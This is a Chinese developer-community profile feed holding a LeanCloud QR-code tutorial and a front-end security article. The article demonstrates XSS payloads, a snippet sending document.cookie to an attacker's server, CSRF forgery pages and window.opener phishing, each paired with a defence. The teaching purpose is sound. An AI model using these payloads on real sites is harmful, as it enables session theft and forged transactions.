huangtengfei

huangtengfei 查看完整档案

杭州编辑  |  填写毕业院校阿里巴巴  |  前端工程师 编辑 huangtengfei.com 编辑
编辑
_ | |__ _ _ __ _ | '_ \| | | |/ _` | | |_) | |_| | (_| | |_.__/ \__,_|\__, | |___/ 该用户太懒什么也没留下

个人动态

huangtengfei 赞了回答 · 2018-11-14

微信小程序ios下拉或者上拉留白问题

设置page背景颜色和window的背景颜色一致就好了

关注 6 回答 5

huangtengfei 赞了文章 · 2018-03-26

利用Leancloud开发小程序-生成小程序二维码

什么是Leancloud

  • Leancloud是国内有名的BaaS提供商,什么是BaaS提供商呢?通俗点讲就是给你提供增删改查等后台服务的API,你通过这些API就可以将数据存储在云端数据库中,而不需要关系服务器环境和里面的处理逻辑,它提供的SDK有js、java、object-c、python等等。

  • 类似的BaaS提供商还有谷歌的firebase(www.firebase.com),但容易被墙不推荐。

  • 所以我们可以不需要自己搭建后台环境就可以实现小程序的后端需要了,这样可以极高的提高开发效率,缩短开发周期。

如何使用Leancloud进行小程序开发

关于增删改查

Leancloud提供了完整的增删改查API,只要根据文档给到API进行调用就行,这个就不详细描述了,请看文档:https://leancloud.cn/docs/lea...

关于小程序授权登陆

下面地址详情描述了如何实现授权登陆:
https://leancloud.cn/docs/wea...用户系统

关于小程序需要后端的API调用

这里所说的需要后台的API调用,指类似:微信支付、二维码生成、微信提现、微信发红包、发送模版信息等等。
要实现这些功能必须使用 Leancloud的云引擎中的云函数

什么是云函数

就是我们可以简单的编写一个可以执行的node函数部署到leancloude的云引擎中,直接使用leancloud的API就可以直接执行你编写的函数,不需要像以前编写后端需要关心后端服务器环境那么复杂,只需要执行一段指令将云函数部署到云端就可以执行了。
详情请看:https://leancloud.cn/docs/lea...

如何编写云函数

https://leancloud.cn/docs/lea...
这里有详细说明,我就不赘述了。

如何部署云函数

我们这里介绍如何使用github部署:

  1. 注册并创建leancloud应用:这个就不用说把,网站:https://leancloud.cn

  2. 设置云引擎
    进入第一步创建的应用-云引擎-设置,将git的地址填进去,这个代码库可以fork我的代码仓库(https://github.com/jasondu/le...),然后复制Deploy Key,然后到自己fork的github设置页面中的【Deploy keys】选项,添加一个Deploy Keys,Title随便写,Key就是刚才复制的,然后点击保存即可。

  3. 部署云引擎
    回到云引擎-部署,“分支或版本号”填入master,点击部署就可以部署云引擎了。

下面我们通过“生成小程序二维码”来讲解如何使用云函数开发小程序后台

生成小程序二维码

小程序二维码分类:

从类型分类:
  • 小程序二维码:那个圆形的二维码

  • 普通二维码

是否可以无限生成分类:
  • 无限

  • 有限

这几种分类对应着下面三个接口:
  • 小程序二维码、有限的
    https://api.weixin.qq.com/wxa/getwxacode?access_token=ACCESS_TOKEN

  • 小程序二维码、无限的
    https://api.weixin.qq.com/wxa/getwxacodeunlimit?access_token=ACCESS_TOKEN

  • 普通二维码、有限的
    https://api.weixin.qq.com/cgi-bin/wxaapp/createwxaqrcode?access_token=ACCESS_TOKEN

云函数规划

  1. 入参验证

  2. 获取accessToken

  3. 调用二维码生成接口获取二维码二进制流

  4. 保存二维码到leancloud

代码

AV.Cloud.define('getwxacode', function (request, response) {
    const params = request.params;
    const requireParams = ['type'];
    let url;

    switch (params.type) {
        case 1:
            url = 'https://api.weixin.qq.com/wxa/getwxacode';
            requireParams.push('path');
            break;
        case 2:
            url = 'https://api.weixin.qq.com/wxa/getwxacodeunlimit';
            requireParams.push('page');
            requireParams.push('scene');
            break;
        case 3:
            url = 'https://api.weixin.qq.com/cgi-bin/wxaapp/createwxaqrcode';
            requireParams.push('path');
            break;
    }
    // 1. 入参验证
    requireValidate(params, requireParams).then(params => {
        // 2. 获取accessToken
        wxapi.getLatestToken((err, accessToken) => {
            // 3. 调用二维码生成接口获取二维码二进制流
            axios.post(url, params, {
                params: {
                    access_token: accessToken.accessToken,
                    dataType: 'JSON',
                },
                responseType: 'arraybuffer'
            }).then((res) => {
                // 4. 保存二维码到leancloud
                if (typeof res.data === 'undefined') {
                    return response.error('生成二维码失败');
                } else {
                    const imageFile = new AV.File('file-qrcode.png', res.data);
                    imageFile.save().then((res) => {
                        return response.success(res);
                    }, (error) => {
                        return response.error(err);
                    });
                }
            });
        });
    }).catch(err => {
        return response.error(err);
    });
})

requireValidate: 验证入参的方法
注意:这里获取二维码必须要用axios的方式进行请求,否则返回的图片信息会保存失败

调用云函数(小程序代码)

const AV = require('../libs/leancloud/av-weapp-min.js');
const paramsJson = {
    type: 1,
    path: '/pages/index/index'
};
AV.Cloud.run('getwxacode', paramsJson).then(function (data) {
    // 调用成功,得到生成二维码的链接
    console.log(data.url);
}, function (err) {
    // 处理调用失败
    console.log(err);
});

代码地址

https://github.com/jasondu/le...

查看原文

赞 13 收藏 9 评论 0

huangtengfei 收藏了文章 · 2018-03-26

利用Leancloud开发小程序-生成小程序二维码

什么是Leancloud

  • Leancloud是国内有名的BaaS提供商,什么是BaaS提供商呢?通俗点讲就是给你提供增删改查等后台服务的API,你通过这些API就可以将数据存储在云端数据库中,而不需要关系服务器环境和里面的处理逻辑,它提供的SDK有js、java、object-c、python等等。

  • 类似的BaaS提供商还有谷歌的firebase(www.firebase.com),但容易被墙不推荐。

  • 所以我们可以不需要自己搭建后台环境就可以实现小程序的后端需要了,这样可以极高的提高开发效率,缩短开发周期。

如何使用Leancloud进行小程序开发

关于增删改查

Leancloud提供了完整的增删改查API,只要根据文档给到API进行调用就行,这个就不详细描述了,请看文档:https://leancloud.cn/docs/lea...

关于小程序授权登陆

下面地址详情描述了如何实现授权登陆:
https://leancloud.cn/docs/wea...用户系统

关于小程序需要后端的API调用

这里所说的需要后台的API调用,指类似:微信支付、二维码生成、微信提现、微信发红包、发送模版信息等等。
要实现这些功能必须使用 Leancloud的云引擎中的云函数

什么是云函数

就是我们可以简单的编写一个可以执行的node函数部署到leancloude的云引擎中,直接使用leancloud的API就可以直接执行你编写的函数,不需要像以前编写后端需要关心后端服务器环境那么复杂,只需要执行一段指令将云函数部署到云端就可以执行了。
详情请看:https://leancloud.cn/docs/lea...

如何编写云函数

https://leancloud.cn/docs/lea...
这里有详细说明,我就不赘述了。

如何部署云函数

我们这里介绍如何使用github部署:

  1. 注册并创建leancloud应用:这个就不用说把,网站:https://leancloud.cn

  2. 设置云引擎
    进入第一步创建的应用-云引擎-设置,将git的地址填进去,这个代码库可以fork我的代码仓库(https://github.com/jasondu/le...),然后复制Deploy Key,然后到自己fork的github设置页面中的【Deploy keys】选项,添加一个Deploy Keys,Title随便写,Key就是刚才复制的,然后点击保存即可。

  3. 部署云引擎
    回到云引擎-部署,“分支或版本号”填入master,点击部署就可以部署云引擎了。

下面我们通过“生成小程序二维码”来讲解如何使用云函数开发小程序后台

生成小程序二维码

小程序二维码分类:

从类型分类:
  • 小程序二维码:那个圆形的二维码

  • 普通二维码

是否可以无限生成分类:
  • 无限

  • 有限

这几种分类对应着下面三个接口:
  • 小程序二维码、有限的
    https://api.weixin.qq.com/wxa/getwxacode?access_token=ACCESS_TOKEN

  • 小程序二维码、无限的
    https://api.weixin.qq.com/wxa/getwxacodeunlimit?access_token=ACCESS_TOKEN

  • 普通二维码、有限的
    https://api.weixin.qq.com/cgi-bin/wxaapp/createwxaqrcode?access_token=ACCESS_TOKEN

云函数规划

  1. 入参验证

  2. 获取accessToken

  3. 调用二维码生成接口获取二维码二进制流

  4. 保存二维码到leancloud

代码

AV.Cloud.define('getwxacode', function (request, response) {
    const params = request.params;
    const requireParams = ['type'];
    let url;

    switch (params.type) {
        case 1:
            url = 'https://api.weixin.qq.com/wxa/getwxacode';
            requireParams.push('path');
            break;
        case 2:
            url = 'https://api.weixin.qq.com/wxa/getwxacodeunlimit';
            requireParams.push('page');
            requireParams.push('scene');
            break;
        case 3:
            url = 'https://api.weixin.qq.com/cgi-bin/wxaapp/createwxaqrcode';
            requireParams.push('path');
            break;
    }
    // 1. 入参验证
    requireValidate(params, requireParams).then(params => {
        // 2. 获取accessToken
        wxapi.getLatestToken((err, accessToken) => {
            // 3. 调用二维码生成接口获取二维码二进制流
            axios.post(url, params, {
                params: {
                    access_token: accessToken.accessToken,
                    dataType: 'JSON',
                },
                responseType: 'arraybuffer'
            }).then((res) => {
                // 4. 保存二维码到leancloud
                if (typeof res.data === 'undefined') {
                    return response.error('生成二维码失败');
                } else {
                    const imageFile = new AV.File('file-qrcode.png', res.data);
                    imageFile.save().then((res) => {
                        return response.success(res);
                    }, (error) => {
                        return response.error(err);
                    });
                }
            });
        });
    }).catch(err => {
        return response.error(err);
    });
})

requireValidate: 验证入参的方法
注意:这里获取二维码必须要用axios的方式进行请求,否则返回的图片信息会保存失败

调用云函数(小程序代码)

const AV = require('../libs/leancloud/av-weapp-min.js');
const paramsJson = {
    type: 1,
    path: '/pages/index/index'
};
AV.Cloud.run('getwxacode', paramsJson).then(function (data) {
    // 调用成功,得到生成二维码的链接
    console.log(data.url);
}, function (err) {
    // 处理调用失败
    console.log(err);
});

代码地址

https://github.com/jasondu/le...

查看原文

huangtengfei 赞了回答 · 2017-12-06

解决微信内置浏览器中如何实现点击电话号码自动到拨号页面?

一般的web处理
1.一键拨号:

<a href="tel:10086">马上拨打电话10086</a>

2.发送短信功能:

<a href="sms:10086">发送短信</a>

3、移动web页面自动探测电话号码

<meta name="format-detection" content="telephone=no">
<meta http-equiv="x-rim-auto-match" content="none">

4.使用wtai协议进行拨打电话。

<a href="wtai://wp//mc;10086">拨打10086 </a>  
<a href="wtai://wp/ap;10086;">存储</a> 

一般建议采用这个方式。

关于微信页面会出现屏蔽的方式,所以采取以下解决方案

解决方法如下:
1、拨号的代码还是不变,和原先的一样,
2、打开拨号页面要做下处理,在网址后面增加一个锚节点mp.weixin.qq.com。
实例如下:
如:<a href="tel:10086">一键拨号</a> 上需要拨号代码,操作如下
在有这个代码的页面URl后边加上“#mp.weixin.qq.com” 如:tel:10086#mp.weixin.qq.com

关注 8 回答 5

huangtengfei 赞了回答 · 2017-12-06

解决Computed property "route" was assigned to but it has no setter

再结合vuex和表单v-model中,直接利用mapState就会提示没有setter
我是这样解决的:

computed: {
            time:{

                    // getter
                    get: function () {
                        return this.$store.state.time;
                    },
                    // setter
                    set: function (newValue) {
                        this.$store.state.time = newValue;
                    }
                },

暂时没发现更好的解决办法
有更好的请提供一下

关注 20 回答 22

huangtengfei 赞了文章 · 2016-08-24

[聊一聊系列]聊一聊WEB前端安全那些事儿

欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):
https://segmentfault.com/blog...

随着互联网的发达,各种WEB应用也变得越来越复杂,满足了用户的各种需求,但是随之而来的就是各种网络安全的问题。作为前端工程师的我们也逃不开这个问题。所以今天,就和大家一起聊一聊WEB前端的安全那些事儿。这里不去说那些后端的攻击(SQL注入、DDOS攻击等),毕竟整个WEB安全是一门很深的学问,不是我一篇文章就能完全说完的。我们就聊一聊前端工程师们需要注意的那些安全知识。

为什么要攻击?

其实真正为了玩的心态去进行黑网站的人,还是少数。多数攻击还是有利益的成分在里面的。我模糊的记得,以前听腾讯的工程师说过一句话,大概是这样的:开发者不可能确保自己的应用绝对无法被攻击,但是只要攻击我们的时候,黑客花费的成本远比他可以获取的利益大得多,黑客就不会去攻击。防范强如支付宝、QQ等产品,也都曾被报过漏洞,看来防御不是绝对的,我们只能想办法让我们的应用更加安全。

前端攻击都有哪些形式,我该如何防范?

1 XSS攻击

1.1 是什么?

百度百科中如是说道:
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
其实在web前端方面,可以简单的理解为一种javascript代码注入。举个例子,我们有个社交网站,允许大家相互访问空间,网站可能是这样做的:

<?php
    $username="侯医生";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名:<?php echo $username;?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
    </body>
</html>

运行时,展现形式如图1.1.1所示:

clipboard.png
图1.1.1

但是,如果你的用户名,起名称的时候,带上script标签呢?我们知道,浏览器遇到html中的script标签的时候,会解析并执行标签中的js脚本代码,那么如果你的用户名称里面含有script标签的话,就可以执行其中的代码了。
代码如下,效果如图1.1.2

<?php
    $username="<script>alert('侯医生');</script>";
?>

clipboard.png
图1.1.2
如果你将自己的用户名设定为这种执行脚本的方式,再让别人去访问你的连接的话,就可以达到在他人web环境中,执行自己脚本的效果了。我们还可以使用ajax,将其他用户在当前域名下的cookie获取并发送到自己的服务器上。这样就可以获取他人信息了。比如,刚刚咱们使用的不是alert而是,如下的代码:

$.ajax({
    url: '自己的服务器',
    dataType: 'jsonp',
    data: {'盗取的用户cookie': document.cookie}
});

再在各个QQ群中,散播自己的空间,引诱别人来访问。就可以拿到用户在这个域名下的cookie或者其他隐私了。

1.2 如何防范?

目前来讲,最简单的办法防治办法,还是将前端输出数据都进行转义最为稳妥。比如,按照刚刚我们那个例子来说,其本质是,浏览器遇到script标签的话,则会执行其中的脚本。但是如果我们将script标签的进行转义,则浏览器便不会认为其是一个标签,但是显示的时候,还是会按照正常的方式去显示,代码如下,效果如图1.2.1

<?php
    $username="<script>alert('侯医生');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <!--我们将输出的后端变量,转义之后再输出,则可以避免被注入代码-->
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
    </body>
</html>

clipboard.png
图1.2.1
其实,我们再来看看网页源码,如图1.2.2
clipboard.png
图1.2.2
虽然显示出来是有script标签的,但是实际上,script标签的左右尖括号(><),均被转义为html字符实体,所以,便不会被当做标签来解析的,但是实际显示的时候,这两个尖括号,还是可以正常展示的。

1.3 升级攻击

1.3.1 append的利用

上一小节我们防住了script标签的左右尖括号,蓝鹅,聪明的黑客们还是想出了好办法去破解,我们知道,直接给innerHTML赋值一段js,是无法被执行的。比如,

$('div').innerHTML = '<script>alert("okok");</script>';

但是,jquery的append可以做到,究其原因,就是因为jquery会在将append元素变为fragment的时候,找到其中的script标签,再使用eval执行一遍。jquery的append使用的方式也是innerHTML(如图1.3.1.1)。而innerHTML是会将unicode码转换为字符实体的。
clipboard.png
图1.3.1.1
利用这两种知识结合,我们可以得出,网站使用append进行dom操作,如果是append我们可以决定的字段,那么我们可以将左右尖括号,使用unicode码伪装起来,就像这样--"\u003cscript\u003ealert('okok');"。接下来转义的时候,伪装成\u003<会被漏掉,append的时候,则会被重新调用。代码如下,效果如图1.3.1.2

<?php
    $username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script data-original="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
        <div>版权所有:<span id="username_info"></span></div>
        <script>
            $('#username_info').append("<?php echo htmlentities($username);?>");
        </script>
    </body>
</html>

clipboard.png
图1.3.1.2
我们可以看到,虽然进行了转义,注入的代码还是会再次被执行。

1.3.2 img标签的再次利用

再来一种攻击方式,img标签的小贴士。
这里我们需要重温一个小知识点-----img标签,在加载图片失败的时候,会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。我们先来看一下,正常的用户分享图片的行为怎么做。代码如下,展示如图1.3.2.1

<?php
    $username="<script>alert('侯医生');</script>";
    $imgdata-original="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1,这个是图片:
            <img data-original="<?php echo $imgsrc;?>" />
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
    </body>
</html>

clipboard.png
图1.3.2.1
但是,如果这张图片的地址我们换种写法呢?

<?php
    $imgdata-original="\" onerror=\"javascript:alert('侯医生');\"";
?>

我们再来看看拼装好的html源码,如图1.3.2.2:
clipboard.png
图1.3.2.2
这时的源码已经变为--src为空,但是onerror的时候,执行注入代码。我们刷新查看页面,就会发现,代码注入已经成功,如图1.3.2.3所示:
clipboard.png
图1.3.2.3
看官你可能会说了,再转义呗。是的,老套路,我们接着进行转义---你这个毛病呀,就算治好了(老中医口吻)。

<img data-original="<?php echo htmlentities($imgsrc);?>" />

恩,总算是恢复正常了,如图1.3.2.4所示。
clipboard.png
图1.3.2.4

1.3.3 组合使用

但是......但是,道高一尺魔高一丈,虽然防住了img标签直接的输出,但是我们的攻击点又来了,我们将1.3.1中所说的方式与1.3.2中所说的方式进行结合,进行一种组合式攻击,我们之前说过,innerHTML赋值的script标签,不会被执行,但是innerHTML赋值一个img标签是可以被识别的。我们把img标签的左右尖括号,使用unicode进行伪装,让转义方法认不出来,即使innerHTML也可以利用上了,代码如下,效果如图1.3.3.1

<?php
    $username="\u003cimg data-original=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
        <div>版权所有:<span id="username_info"></span></div>
        <script>
            document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
        </script>
    </body>
</html>

clipboard.png
图1.3.3.1
这样,innerHTML也可以派上用场,再次突破防线。

1.4 升级防御

看来,我们需要再次进行防御升级了,我们将输出的字符串中的\反斜杠进行转义(json转义)。这样,\就不会被当做unicode码的开头来被处理了。代码如下:

document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

生成处的源码,如图1.4.1
clipboard.png
图1.4.1
效果如图1.4.2所示
clipboard.png
图1.4.2

1.5 XSS再升级

都说了道高一尺魔高一丈了,你以为防得住后端输出,黑客大大们就没办法攻击了吗。我们有的时候,会有一些习惯,拿URL上的get参数去构建网页。好比说,直接拿url上的用户名去展示啦,拿url上的一些回跳地址之类的。但是url上的参数,我们是无法提前对其进行转义的。接下来,来个例子,代码如下:

<html>
    <head>
        <meta charset="utf-8" />
        <script data-original="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用户名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态:侯医生的状态1
        </div>
        <div>
            第二条状态:侯医生的状态2
        </div>
        <div>
            第三条状态:侯医生的状态3
        </div>
        <div>版权所有:<span id="username_info"></span></div>
        <script>
            var param = /=(.+)$/.exec(location.search);
            var value = decodeURIComponent(param[1]);
            $('#username_info').append(value);
        </script>
    </body>
</html>

上述代码,满足了一个很正常的需求,解开URL中的一个参数,并将其渲染至页面上。但是,这里面存在一个风险,如果黑客在URL的这个参数中,加入js代码,这样便又会被执行(如图1.5.1所示)。
clipboard.png
图1.5.1

1.6 防御再次升级

像这种从url中获取的信息,笔者建议,最好由后端获取,在前端转义后再行输出,代码如下,效果如图1.6.1

<script>
    var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
    $('#username_info').append(value);
</script>

clipboard.png
图1.6.1
使用url中的参数的时候要小心,更不要拿URL中的参数去eval。

1.7 保护好你的cookie

如果不幸中招了,黑客的js真的在我们的网页上执行了,我们该怎么办。其实,很多时候,我们的敏感信息都是存储在cookie中的(不要把用户机密信息放在网页中),想要阻止黑客通过js访问到cookie中的用户敏感信息。那么请使用cookie的HttpOnly属性,加上了这个属性的cookie字段,js是无法进行读写的。php的设置方法如下:

<?php
    setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?>

如图1.7.1,我们的cookie已经种上了,并且有了httpOnly标识
clipboard.png
图1.7.1
如图1.7.2,我们通过js无法获取cookie中的设定有httpOnly的字段:
clipboard.png
图1.7.2
话说回来,其实还有很多xss的升级攻击方式,同学们有兴趣的话,可以自己去研究一下。(不要干坏事儿哦)

2 CSRF攻击

2.1 什么是CSRF攻击?

CSRF攻击在百度百科中的解释是:
CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
其实就是网站中的一些提交行为,被黑客利用,你在访问黑客的网站的时候,进行的操作,会被操作到其他网站上(如:你所使用的网络银行的网站)。

2.2 如何攻击?

2.2.1 要合理使用post与get

通常我们会为了省事儿,把一些应当提交的数据,做成get请求。殊不知,这不仅仅是违反了http的标准而已,也同样会被黑客所利用。
比如,你开发的网站中,有一个购买商品的操作。你是这么开发的:

<?php
// 从cookie中获取用户名,看似稳妥
$username = $_COOKIE['username'];
$productId = $_GET['pid'];
// 这里进行购买操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?>

而商品ID图个省事儿,就使用了url中的get参数。买商品的话,如图2.2.1.1所示
clipboard.png
图2.2.1.1
那么,黑客的网站可以这样开发:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <img data-original="http://localhost:8082/lab/xsrflab/submit.php?pid=1" />
    </body>
</html>

这样的话,用户只需要访问一次黑客的网站,其实就相当于在你的网站中,操作了一次。然而用户却没有感知。如图2.2.1.2所示:
clipboard.png
图2.2.1.2
所以,我们日常的开发,还是要遵循提交业务,严格按照post请求去做的。更不要使用jsonp去做提交型的接口,这样非常的危险。

2.2.2 xsrf攻击升级

如果你使用了post请求来处理关键业务的,还是有办法可以破解的。我们的业务代码如下:

<?php
$username = $_COOKIE['username'];
// 换为post了,可以规避黑客直接的提交
$productId = $_POST['pid'];
// 这里进行购买操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?>

黑客代码如下:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script data-original="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <button id="clickme">点我看相册</button>
        <script>
            $('#clickme').on('click', function () {
                // 用户再不知情的情况下,提交了表单,服务器这边也会以为是用户提交过来的。
                $('#myform').submit();
            });
        </script>
        <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">
            <input type="hidden" name="pid" value="1">
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

效果如图2.2.2.1
clipboard.png
图2.2.2.1
点击后,用户进行了提交,却连自己都不知情。这种情况如何防御呢?
最简单的办法就是加验证码,这样除了用户,黑客的网站是获取不到用户本次session的验证码的。但是这样也会降低用户的提交体验,特别是有些经常性的操作,如果总让用户输入验证码,用户也会非常的烦。
另一种方式,就是在用访问的页面中,都种下验证用的token,用户所有的提交都必须带上本次页面中生成的token,这种方式的本质和使用验证码没什么两样,但是这种方式,整个页面每一次的session,使用同一个token就行,很多post操作,开发者就可以自动带上当前页面的token。如果token校验不通过,则证明此次提交并非从本站发送来,则终止提交过程。如果token确实为本网站生成的话,则可以通过。
代码如下,防御效果如图2.2.2.2

<?php
$username = $_COOKIE['username'];
$productId = $_POST['pid'];
$token=$_POST['token'];
// 校验算法例子
function check_token($token) {
    if ($token==='doctorhou-shuai') {
        return true;
    }
    return false;
}
if (!check_token($token)) {
    // 如果校验未通过,则中止
    return ;
}
// 这里进行购买操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?>

clipboard.png
图2.2.2.2
如上图,并没有携带本站每次session生成的token,则提交失败。
本站的网站form,则都会自动携带本站生成的token

<?php function token_creater() {
    // 本站生成token的方法
    return 'doctorhou-shuai';
}?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script data-original="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <form id="myform" target="myformer" method="post" action="http://localhost:8082/lab/xsrflab/submit.php">
            商品名称:<input name="pid" value="1">
            <input type="hidden" name="token" value="<?php echo token_creater();?>" />
            <input type="submit" value="提交" />
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

再次使用本站的网页进行提交,则通过,如图2.2.2.3所示:
clipboard.png
图2.2.2.3
当然,上面的只是例子,具体的token生成,肯定是要随着session与用户ID去变的,如果各位看官觉得自己的网站也需要加个token,请自行百度,进行深入的学习。

3 网络劫持攻击

很多的时候,我们的网站不是直接就访问到我们的服务器上的,中间会经过很多层代理,如果在某一个环节,数据被中间代理层的劫持者所截获,他们就能获取到使用你网站的用户的密码等保密数据。比如,我们的用户经常会在各种饭馆里面,连一些奇奇怪怪的wifi,如果这个wifi是黑客所建立的热点wifi,那么黑客就可以结果该用户收发的所有数据。这里,建议站长们网站都使用https进行加密。这样,就算网站的数据能被拿到,黑客也无法解开。

如果你的网站还没有进行https加密的化,则在表单提交部分,最好进行非对称加密--即客户端加密,只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。

4 控制台注入代码

不知道各位看官有没有注意到天猫官网控制台的警告信息,如图4.1所示,这是为什么呢?因为有的黑客会诱骗用户去往控制台里面粘贴东西(欺负小白用户不懂代码),比如可以在朋友圈贴个什么文章,说:"只要访问天猫,按下F12并且粘贴以下内容,则可以获得xx元礼品"之类的,那么有的用户真的会去操作,并且自己隐私被暴露了也不知道。
clipboard.png
图4.1
天猫这种做法,也是在警告用户不要这么做,看来天猫的前端安全做的也是很到位的。不过,这种攻击毕竟是少数,所以各位看官看一眼就行,如果真的发现有的用户会被这样攻击的话,记得想起天猫的这种解决方案。

5 钓鱼

钓鱼也是一种非常古老的攻击方式了,其实并不太算前端攻击。可毕竟是页面级别的攻击,我们也来一起聊一聊。我相信很多人会有这样的经历,QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了,详情在我QQ空间里啦,之类的连接。打开之后发现一个QQ登录框,其实一看域名就知道不是QQ,不过做得非常像QQ登录,不明就里的用户们,就真的把用户名和密码输入了进去,结果没登录到QQ,用户名和密码却给人发过去了。
其实这种方式,在前端也有利用。下面,我们就来试试如果利用前端进行一次逼真的钓鱼。
1 首先,我们在xx空间里分享一篇文章,然后吸引别人去点击。效果如图5.1.1

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
        当前你在xx空间
        </div>
        <h1>侯博士的分享</h1>
        <section>
        咱们班当年班花,现在长这样:
        <!--这是咱们的钓鱼网站-->
        <a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">点我查看</a>
        </section>
    </body>
</html>

clipboard.png
图5.1.1
2 接着,我们在cheat.php这个网站上面,将跳转过来的源网页地址悄悄的进行修改。效果如图5.2.1

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script data-original="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        你想看的信息:
        xxxxxxxxxxxxxx
        xxxxxxxxxxxxxx
        <script>
            // 在用户不知情的情况下,对跳转的来源网页进行地址替换
            window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';
        </script>
    </body>
</html>

于是,在用户访问了我们的欺骗网站后,之前的tab已经悄然发生了变化,我们将其悄悄的替换为了钓鱼的网站,欺骗用户输入用户名、密码等。
clipboard.png
图5.2.1
3 我们的钓鱼网站,伪装成XX空间,让用户输入用户名与密码,如图5.3.1
clipboard.png
图5.3.1
这种钓鱼方式比较有意思,重点在于我们比较难防住这种攻击,我们并不能将所有的页面链接都使用js打开。所以,要么就将外链跳转的连接改为当前页面跳转,要么就在页面unload的时候给用户加以提示,要么就将页面所有的跳转均改为window.open,在打开时,跟大多数钓鱼防治殊途同归的一点是,我们需要网民们的安全意识提高。

我们平时开发要注意些什么?

  1. 开发时要提防用户产生的内容,要对用户输入的信息进行层层检测

  2. 要注意对用户的输出内容进行过滤(进行转义等)

  3. 重要的内容记得要加密传输(无论是利用https也好,自己加密也好)

  4. get请求与post请求,要严格遵守规范,不要混用,不要将一些危险的提交使用jsonp完成。

  5. 对于URL上携带的信息,要谨慎使用。

  6. 心中时刻记着,自己的网站哪里可能有危险。

毕竟web安全是个很大的面,如果需要了解,还是需要进行专门的学习的。希望这篇聊一聊,可以让各位开发者的网站变得更安全。

课后作业

各位看官自己的网站中,是不是还留有很多安全漏洞呢?请各位看完本篇文章之后,回想一下,自己的网站是否还有哪些地方存在安全隐患。还有,自己可否为自己团队里面的同学制定一下开发时的安全规范呢?

接下来的一篇文章,我将会和读者们一起聊聊web图片那些事儿,不要走开,请关注我.....

如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。

以上内容仅代表笔者个人观点,如有意见请通知笔者。

查看原文

赞 127 收藏 318 评论 17

huangtengfei 赞了文章 · 2016-08-24

SegmentFault 技术周刊 Vol.2 - 666,ES6

weekly-vol002.jpg

ECMAScript 6.0,ECMAScript 2015,直到大家最后确定简称为 ES6,从最初的制定,到最后发布成为国际标准,历时 15 年之久。

